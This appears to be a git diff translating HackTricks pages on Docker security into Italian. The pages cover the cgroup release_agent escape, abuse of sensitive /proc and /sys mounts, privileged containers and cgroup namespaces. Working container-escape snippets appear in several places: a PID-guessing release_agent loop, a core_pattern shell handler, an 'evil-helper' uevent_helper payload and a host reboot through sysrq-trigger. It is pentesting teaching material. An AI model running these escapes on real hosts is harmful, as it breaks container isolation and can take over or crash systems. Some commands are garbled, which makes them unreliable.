guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..f7c1af02b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,181 +2,173 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto. -{% embed url="https://websec.nl/" %} +**Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** - -## procfs Vulnerabilities +## Vulnerabilità di procfs ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +Questa directory consente l'accesso per modificare le variabili del kernel, di solito tramite `sysctl(2)`, e contiene diverse sottodirectory di interesse: #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- Descritto in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). +- Consente di definire un programma da eseguire alla generazione di un file core con i primi 128 byte come argomenti. Questo può portare all'esecuzione di codice se il file inizia con una pipe `|`. +- **Esempio di test e sfruttamento**: - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test di accesso in scrittura +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # Imposta gestore personalizzato +sleep 5 && ./crash & # Attiva gestore +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- Dettagliato in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Contiene il percorso per il caricatore di moduli del kernel, invocato per caricare i moduli del kernel. +- **Esempio di controllo accesso**: - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- Riferito in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Un flag globale che controlla se il kernel va in panico o invoca l'oom killer quando si verifica una condizione OOM. #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- Secondo [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contiene opzioni e informazioni sul file system. +- L'accesso in scrittura può abilitare vari attacchi di denial-of-service contro l'host. #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Consente di registrare interpreti per formati binari non nativi basati sul loro numero magico. +- Può portare a escalation dei privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile. +- Sfruttamento e spiegazione rilevanti: +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- Tutorial approfondito: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### Others in `/proc` +### Altri in `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- Può rivelare la configurazione del kernel se `CONFIG_IKCONFIG_PROC` è abilitato. +- Utile per gli attaccanti per identificare vulnerabilità nel kernel in esecuzione. #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Consente di invocare comandi Sysrq, potenzialmente causando riavvii immediati del sistema o altre azioni critiche. +- **Esempio di riavvio dell'host**: - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # Riavvia l'host +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- Espone i messaggi del buffer di anello del kernel. +- Può aiutare negli exploit del kernel, perdite di indirizzi e fornire informazioni sensibili sul sistema. #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Elenca i simboli esportati dal kernel e i loro indirizzi. +- Essenziale per lo sviluppo di exploit del kernel, specialmente per superare KASLR. +- Le informazioni sugli indirizzi sono limitate con `kptr_restrict` impostato su `1` o `2`. +- Dettagli in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Interfaccia con il dispositivo di memoria del kernel `/dev/mem`. +- Storicamente vulnerabile ad attacchi di escalation dei privilegi. +- Maggiori informazioni su [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- Rappresenta la memoria fisica del sistema in formato ELF core. +- La lettura può rivelare i contenuti della memoria del sistema host e di altri container. +- La grande dimensione del file può portare a problemi di lettura o crash del software. +- Uso dettagliato in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- Interfaccia alternativa per `/dev/kmem`, rappresenta la memoria virtuale del kernel. +- Consente lettura e scrittura, quindi modifica diretta della memoria del kernel. #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- Interfaccia alternativa per `/dev/mem`, rappresenta la memoria fisica. +- Consente lettura e scrittura, la modifica di tutta la memoria richiede la risoluzione degli indirizzi virtuali in fisici. #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni del namespace PID. +- Espone nomi di processi, ID e identificatori cgroup. #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- Fornisce informazioni sui punti di montaggio nel namespace di montaggio del processo. +- Espone la posizione del `rootfs` o dell'immagine del container. -### `/sys` Vulnerabilities +### Vulnerabilità di `/sys` #### **`/sys/kernel/uevent_helper`** -- Used for handling kernel device `uevents`. -- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers. -- **Example for Exploitation**: %%%bash +- Utilizzato per gestire i `uevents` dei dispositivi del kernel. +- Scrivere in `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent`. +- **Esempio di sfruttamento**: %%%bash - #### Creates a payload +#### Crea un payload - echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper +echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper - #### Finds host path from OverlayFS mount for container +#### Trova il percorso host dal montaggio OverlayFS per il container - host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) +host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) - #### Sets uevent_helper to malicious helper +#### Imposta uevent_helper su helper malevolo - echo "$host_path/evil-helper" > /sys/kernel/uevent_helper +echo "$host_path/evil-helper" > /sys/kernel/uevent_helper - #### Triggers a uevent +#### Attiva un uevent - echo change > /sys/class/mem/null/uevent +echo change > /sys/class/mem/null/uevent - #### Reads the output +#### Legge l'output - cat /output %%% +cat /output %%% #### **`/sys/class/thermal`** -- Controls temperature settings, potentially causing DoS attacks or physical damage. +- Controlla le impostazioni di temperatura, potenzialmente causando attacchi DoS o danni fisici. #### **`/sys/kernel/vmcoreinfo`** -- Leaks kernel addresses, potentially compromising KASLR. +- Rivela indirizzi del kernel, potenzialmente compromettendo KASLR. #### **`/sys/kernel/security`** -- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor. -- Access might enable a container to disable its MAC system. +- Contiene l'interfaccia `securityfs`, che consente la configurazione dei moduli di sicurezza Linux come AppArmor. +- L'accesso potrebbe consentire a un container di disabilitare il proprio sistema MAC. -#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** +#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`** -- Exposes interfaces for interacting with EFI variables in NVRAM. -- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines. +- Espone interfacce per interagire con le variabili EFI in NVRAM. +- Mal configurazione o sfruttamento possono portare a laptop bloccati o macchine host non avviabili. #### **`/sys/kernel/debug`** -- `debugfs` offers a "no rules" debugging interface to the kernel. -- History of security issues due to its unrestricted nature. +- `debugfs` offre un'interfaccia di debug "senza regole" al kernel. +- Storia di problemi di sicurezza a causa della sua natura illimitata. -### References +### Riferimenti - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index ce967ad2d..bfe5428d4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -2,28 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## What Affects +## Cosa Influisce -When you run a container as privileged these are the protections you are disabling: +Quando esegui un contenitore come privilegiato, queste sono le protezioni che stai disabilitando: -### Mount /dev +### Monta /dev -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** montando il disco dell'host. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="Dentro il contenitore predefinito"}} ```bash # docker run --rm -it alpine sh ls /dev console fd mqueue ptmx random stderr stdout urandom core full null pts shm stdin tty zero ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Dentro il Contenitore Privilegiato"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` - {{#endtab}} {{#endtabs}} -### Read-only kernel file systems +### File system del kernel in sola lettura -Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel. +I file system del kernel forniscono un meccanismo per un processo per modificare il comportamento del kernel. Tuttavia, quando si tratta di processi container, vogliamo impedire loro di apportare modifiche al kernel. Pertanto, montiamo i file system del kernel come **sola lettura** all'interno del container, garantendo che i processi del container non possano modificare il kernel. {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="Dentro il container predefinito"}} ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu) cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Dentro il Contenitore Privilegiato"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` - {{#endtab}} {{#endtabs}} -### Masking over kernel file systems +### Mascheramento dei file system del kernel -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +Il file system **/proc** è selettivamente scrivibile, ma per motivi di sicurezza, alcune parti sono protette da accesso in scrittura e lettura sovrapponendole con **tmpfs**, garantendo che i processi del container non possano accedere ad aree sensibili. -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs** è un file system che memorizza tutti i file nella memoria virtuale. tmpfs non crea alcun file sul tuo disco rigido. Quindi, se smonti un file system tmpfs, tutti i file in esso contenuti andranno persi per sempre. {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Dentro il Contenitore Privilegiato"}} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### Capacità di Linux -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +I motori dei container avviano i container con un **numero limitato di capacità** per controllare cosa avviene all'interno del container per impostazione predefinita. Quelli **privilegiati** hanno **tutte** le **capacità** accessibili. Per saperne di più sulle capacità, leggi: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="Dentro il container predefinito"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Dentro il contenitore privilegiato"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +Puoi manipolare le capacità disponibili per un container senza eseguire in modalità `--privileged` utilizzando i flag `--cap-add` e `--cap-drop`. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** è utile per **limitare** le **syscalls** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui: {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} -{{#tab name="Inside Privileged Container"}} - +{{#tab name="Dentro il Contenitore Privilegiato"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un **Kubernetes** cluster, il **filtro seccomp è disabilitato per impostazione predefinita** ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor** è un miglioramento del kernel per confinare i **container** a un **insieme limitato** di **risorse** con **profili per programma**. Quando esegui con il flag `--privileged`, questa protezione è disabilitata. {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +Eseguire un container con il flag `--privileged` disabilita le **etichette SELinux**, facendogli ereditare l'etichetta del motore del container, tipicamente `unconfined`, concedendo accesso completo simile a quello del motore del container. In modalità senza root, utilizza `container_runtime_t`, mentre in modalità root, viene applicato `spc_t`. {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## Cosa Non Influisce -## What Doesn't Affect +### Namespace -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +I namespace **NON sono influenzati** dal flag `--privileged`. Anche se non hanno i vincoli di sicurezza abilitati, **non vedono tutti i processi sul sistema o sulla rete host, per esempio**. Gli utenti possono disabilitare singoli namespace utilizzando i flag dei motori container **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**. {{#tabs}} -{{#tab name="Inside default privileged container"}} - +{{#tab name="Dentro il container privilegiato predefinito"}} ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} {{#tab name="Inside --pid=host Container"}} - ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### Spazio dei nomi utente -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. +**Per impostazione predefinita, i motori dei container non utilizzano gli spazi dei nomi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi dei nomi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi. -## References +## Riferimenti - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..bfc9c14f5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -2,90 +2,80 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroup, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O. -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +Sebbene i namespace cgroup non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I namespace cgroup virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un namespace cgroup abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespace. -### How it works: +### Come funziona: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. Quando viene creato un nuovo namespace cgroup, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo namespace cgroup vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore. +2. I processi all'interno di un namespace cgroup **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice e non possono vedere o accedere ai cgroup al di fuori del proprio sottoalbero. +3. I namespace cgroup non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi. -For more information about CGroups check: +Per ulteriori informazioni sui CGroups controlla: {{#ref}} ../cgroups.md {{#endref}} -## Lab: +## Laboratorio: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del Problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
